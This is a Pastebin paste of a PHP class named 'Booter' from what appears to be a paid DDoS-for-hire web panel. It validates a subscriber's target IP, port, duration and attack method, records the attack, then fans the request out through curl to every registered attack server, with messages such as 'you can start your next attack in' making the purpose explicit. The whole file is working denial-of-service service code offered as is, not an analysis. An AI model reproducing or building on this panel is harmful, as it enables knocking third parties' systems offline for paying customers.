Guest User

application/models/booter.php

a guest
Aug 16th, 2014
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.83 KB | None | 0 0
  1. <?php
  2. /**
  3.  * User: Rogier
  4.  * Date: 2-3-13
  5.  * Time: 20:13
  6.  *
  7.  */
  8. class Booter
  9. {
  10.     private static $_singleton;
  11.  
  12.     private function __construct(){}
  13.  
  14.     public static function getInstance()
  15.     {
  16.         if(!self::$_singleton)
  17.         {
  18.             self::$_singleton = new Booter();
  19.         }
  20.         return self::$_singleton;
  21.     }
  22.  
  23.     public function boot($host, $time, $port, $method)
  24.     {
  25.         set_time_limit(800);
  26.  
  27.         if(!Auth::check()) return View::make('msg.errormn')->with('error', 'You are not logged in.');
  28.         if(Booter::status() == false) return View::make('msg.errormn')->with('error', 'The booter is currently offline, try again later.');
  29.         if(Server::count() == 0) return View::make('msg.errormn')->with('error', 'There are no servers to boot with.');
  30.         if(Auth::user()->hasPlanExpired()) return View::make('msg.errormn')->with('error', 'Your plan has expired.');
  31.  
  32.  
  33.  
  34.         if(empty($host) || !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) return View::make('msg.errormn')->with('error', 'Invalid target IP address.');
  35.         if(Blacklist::where('ip', '=', $host)->count() > 0 || $host == $_SERVER['SERVER_ADDR'] || $host == gethostbyname( gethostname()) || Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $host)->count() > 0) return View::make('msg.errormn')->with('error', 'This host is blocked from being attacked.');
  36.         if(empty($time) || !is_numeric($time)) return View::make('msg.errormn')->with('error', 'Invalid time.');
  37.         if(empty($port) || !is_numeric($port)) return View::make('msg.errormn')->with('error', 'Invalid port.');
  38.         if($time > Auth::user()->time) return View::make('msg.errormn')->with('error', 'Your max boot time is '. Auth::user()->time . ' seconds.');
  39.         if($time < 1) return View::make('msg.errormn')->with('error', 'Boot for at least 1 second.');
  40.  
  41.         if($method != 'stop')
  42.         {
  43.         if(!Auth::user()->concurrentCheck()) return View::make('msg.errormn')->with('error', 'You already have '.Auth::user()->concurrent . ' attacks running, you can start your next attack in '.Auth::user()->secondsToAttackFinish(). ' seconds.');
  44.         }
  45.         //Get all methods
  46.         $settings = parse_ini_file('application/config/config.ini');
  47.         $m = $settings['methods'];
  48.         $m = explode(',', $m);
  49.         for($i=0; $i<count($m); $i++)
  50.         {
  51.             $methods[$i] = $m[$i];
  52.         }
  53.         $methods['stop'] = 'stop';
  54.         if(empty($methods[$method])) return View::make('msg.errormn')->with('error', 'Invalid method.');
  55.  
  56.         if($method != 'stop')
  57.         {
  58.             Attack::create(array(
  59.                 'user_id' => Auth::user()->id,
  60.                 'user_ip' => $_SERVER['REMOTE_ADDR'],
  61.                 'ip' => $host,
  62.                 'time' => $time,
  63.                 'port' => $port,
  64.                 'method' => strtolower($methods[$method])
  65.             ));
  66.         }
  67.  
  68.  
  69.  
  70.         $mh = curl_multi_init();
  71.         $ch3 = array();
  72.         $cnt = Server::count();
  73.         $servers = Server::all();
  74.  
  75.         for($i = 0; $i < $cnt; $i++)
  76.         {
  77.             $server = $servers[$i];
  78.             $url = $server->url.'?'.$server->host.'='.$host.'&'.$server->time.'='.$time.'&'.$server->port.'='.$port.'&'. $server->method . '=' . strtolower($methods[$method]) . '&' . $server->custom;
  79.             $ch3[$i] = curl_init($url);
  80.             curl_setopt($ch3[$i], CURLOPT_RETURNTRANSFER, 1);
  81.             curl_multi_add_handle($mh, $ch3[$i]);
  82.         }
  83.  
  84.         $running = NULL;
  85.         do
  86.         {
  87.         $mrc = curl_multi_exec($mh, $running);
  88.         } while($running > 0);
  89.  
  90.  
  91.  
  92.  
  93.  
  94.         return true;
  95.     }
  96.  
  97.  
  98.  
  99.     public static function status()
  100.     {
  101.         $s = IniHandle::readini();
  102.         if($s['booterstatus'] == true) return true;
  103.         return false;
  104.     }
  105.  
  106. }
Advertisement
Add Comment
Please, Sign In to add comment